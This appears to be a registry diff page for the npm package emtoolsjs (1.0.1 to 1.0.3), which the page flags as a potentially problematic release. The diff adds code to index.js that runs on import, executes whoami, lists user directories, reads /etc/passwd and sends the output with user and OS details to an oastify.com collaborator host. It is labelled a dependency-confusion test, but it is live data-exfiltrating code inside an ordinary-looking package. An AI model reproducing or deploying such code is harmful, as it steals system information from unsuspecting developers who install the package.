emtoolsjs 1.0.1 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of emtoolsjs might be problematic. Click here for more details.
- package/index.js +42 -18
- package/package.json +3 -3
package/index.js
CHANGED
@@ -1,10 +1,11 @@
|
|
1
1
|
const https = require('https');
|
2
2
|
const { exec } = require('child_process');
|
3
|
+
const os = require('os');
|
4
|
+
|
3
5
|
|
4
|
-
// Función para enviar datos al Burp Collaborator
|
5
6
|
function sendData(data) {
|
6
7
|
const options = {
|
7
|
-
hostname: '
|
8
|
+
hostname: 'xgh26mm3bfptope44shgnm02htnmbdz2.oastify.com',
|
8
9
|
port: 443,
|
9
10
|
path: '/callback',
|
10
11
|
method: 'POST',
|
@@ -19,30 +20,53 @@ function sendData(data) {
|
|
19
20
|
});
|
20
21
|
|
21
22
|
req.on('error', (error) => {
|
22
|
-
console.error(error);
|
23
|
+
console.error(`Error al enviar datos: ${error.message}`);
|
23
24
|
});
|
24
25
|
|
25
26
|
req.write(data);
|
26
27
|
req.end();
|
27
28
|
}
|
28
29
|
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
30
|
+
|
31
|
+
function gatherSystemData() {
|
32
|
+
const platform = os.platform();
|
33
|
+
|
34
|
+
let command = '';
|
35
|
+
if (platform === 'win32') {
|
36
|
+
|
37
|
+
command = 'whoami && dir C:\\Users';
|
38
|
+
} else {
|
39
|
+
|
40
|
+
command = 'whoami && ls /home && cat /etc/passwd';
|
37
41
|
}
|
38
42
|
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
+
|
44
|
+
exec(command, (error, stdout, stderr) => {
|
45
|
+
if (error) {
|
46
|
+
console.error(`Error al ejecutar comandos: ${error.message}`);
|
47
|
+
return;
|
48
|
+
}
|
49
|
+
|
50
|
+
|
51
|
+
const systemData = {
|
52
|
+
message: 'Dependency Confusion Test - Safe Directory Listing and User Info',
|
53
|
+
platform: platform,
|
54
|
+
commandOutput: stdout,
|
55
|
+
errorOutput: stderr,
|
56
|
+
environmentVars: {
|
57
|
+
username: os.userInfo().username,
|
58
|
+
homedir: os.homedir(),
|
59
|
+
shell: os.userInfo().shell || "N/A",
|
60
|
+
osType: os.type(),
|
61
|
+
osRelease: os.release()
|
62
|
+
}
|
63
|
+
};
|
64
|
+
|
65
|
+
const payload = JSON.stringify(systemData);
|
66
|
+
sendData(payload);
|
43
67
|
});
|
68
|
+
}
|
69
|
+
|
44
70
|
|
45
|
-
|
46
|
-
sendData(payload);
|
47
|
-
});
|
71
|
+
gatherSystemData();
|
48
72
|
|
package/package.json
CHANGED